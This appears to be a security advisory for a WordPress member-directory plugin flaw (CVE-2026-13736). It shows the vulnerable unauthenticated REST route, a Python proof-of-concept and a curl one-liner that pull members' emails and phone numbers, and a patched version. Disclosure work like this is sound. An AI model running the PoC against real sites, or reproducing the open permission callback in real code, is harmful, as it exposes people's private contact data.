// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
    register_rest_route( 'newpath-wap/v1', '/directory', array(
        'methods'             => WP_REST_Server::READABLE,
        'callback'            => 'newpath_wap_get_member_directory',
        'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
    ) );
} );

function newpath_wap_get_member_directory( $request ) {
    $members_data = get_wildapricot_cached_members();
    
    // FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
    // without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
    return rest_ensure_response( $members_data );
}

#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""

import requests
import json
import sys

TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"

def verify_vulnerability(target_url):
    print(f"[*] Auditing Target: {target_url}")
    print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
        "Accept": "application/json"
    }
    
    try:
        response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            if isinstance(data, list) and len(data) > 0:
                sample_record = data[0]
                pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
                
                print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
                print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
                print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
                return True
            else:
                print("[-] Endpoint responded with empty data.")
        elif response.status_code in [401, 403]:
            print("[+] Endpoint requires authentication (Protected/Patched).")
        else:
            print(f"[-] Received HTTP status: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    verify_vulnerability(target)

curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
  -H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'

function newpath_wap_get_member_directory( $request ) {
    $is_logged_in = is_user_logged_in();
    $raw_members  = get_wildapricot_cached_members();
    $sanitized    = array();

    foreach ( $raw_members as $member ) {
        $member_card = array(
            'id'   => intval( $member['Id'] ),
            'name' => sanitize_text_field( $member['DisplayName'] ),
        );

        // Enforce Members-Only field protection
        if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
            $member_card['email'] = sanitize_email( $member['Email'] );
        }

        if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
            $member_card['phone'] = sanitize_text_field( $member['Phone'] );
        }

        $sanitized[] = $member_card;
    }

    return rest_ensure_response( $sanitized );
}

{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
  "name": "CVE-2026-13736 Security Advisory",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "alternateName": "MinhHK",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-22",
  "description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
  "about": {
    "@type": "SoftwareApplication",
    "name": "NewPath WildApricotPress Add-on – Member Directory",
    "operatingSystem": "WordPress"
  },
  "identifier": "CVE-2026-13736"
}